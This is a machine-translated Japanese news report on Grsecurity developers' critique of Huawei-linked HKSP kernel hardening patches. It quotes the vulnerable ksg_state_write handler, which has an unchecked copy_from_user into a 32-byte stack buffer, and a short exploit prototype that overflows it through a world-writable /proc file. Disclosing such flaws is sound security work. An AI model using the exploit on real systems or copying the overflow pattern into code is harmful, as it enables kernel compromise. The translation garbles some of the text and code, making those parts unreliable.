Grsecurity プロジェクトの開発者
HKSP パッチは Huawei 従業員によって公開され、GitHub プロファイルに Huawei への言及が含まれ、プロジェクト名 (HKSP - Huawei Kernel Self Protection) に Huawei という単語が使用されています。同時に、ファーウェイの代表者はHKSPプロジェクトと同社との関連性を否定し、コードは従業員の個人的なイニシアチブで開発されたものであり、ファーウェイの公式プロジェクトではなく、同社の製品には使用されていないと述べた。の上
HKSP には、cred 構造内のオフセットのランダム化、ユーザー識別子の名前空間 (pid 名前空間) への攻撃に対する保護、mmap 領域からのプロセス スタックの分離、kfree 関数への二重呼び出しの検出、擬似関数を介したリークのブロックなどの変更が含まれています。 -FS /proc (/proc/ {モジュール、キー、キーユーザー}、/proc/sys/kernel/* および /proc/sys/vm/mmap_min_addr、/proc/kallsYSms)、ユーザー空間アドレスのランダム化の改善、Ptrace の追加保護、強化された smap および smep 保護、生のソケットを介したデータの送信を禁止する機能、UDP ソケット内の不正なアドレスをブロックする機能、および実行中のプロセスの整合性をチェックする機能。また、典型的なルートキットを導入しようとする試みを検出することを目的とした Ksguard カーネル モジュールも含まれています。
パッチ
Grsecurity 開発者によるパッチの調査では、コード内の多くのエラーと弱点が明らかになり、プロジェクトの機能を適切に判断できる脅威モデルが存在しないことも明らかになりました。コードが安全なプログラミング手法を使用せずに記述されたことを明確に示すために、ハンドラーの些細な脆弱性の例を示します。
ファイル /proc/ksguard/state。これは権限 0777 で作成され、全員が書き込みアクセス権を持っていることを意味します。 /proc/ksguard/state に書き込まれたコマンドを解析するために使用される ksg_state_write 関数は、ターゲット バッファのサイズを考慮せず、渡されたオペランドのサイズに基づいてデータが書き込まれる tmp[32] バッファを作成します。パラメータを文字列サイズでチェックします。それらの。カーネル スタックの一部を上書きするには、攻撃者は特別にフォーマットされた行を /proc/ksguard/state に書き込むだけで済みます。
static ssize_t ksg_state_write(struct file *file, const char __user *buf,
size_t len、loff_t *オフセット)
{
u64 値;
char tmp [32];
サイズ_t n = 0;
if (copy_from_user(tmp, buf, len))
-1を返します。
値 = simple_strtoul(tmp, '\0', 10);
...
エクスプロイトプロトタイプ:
char buf[4096] = { };
int fd = open(“/proc/ksguard/state”, O_WRONLY);
if (fd >= 0) {
write(fd, buf, sizeof(buf));
閉じる(fd);
}
出所: オープンネット.ru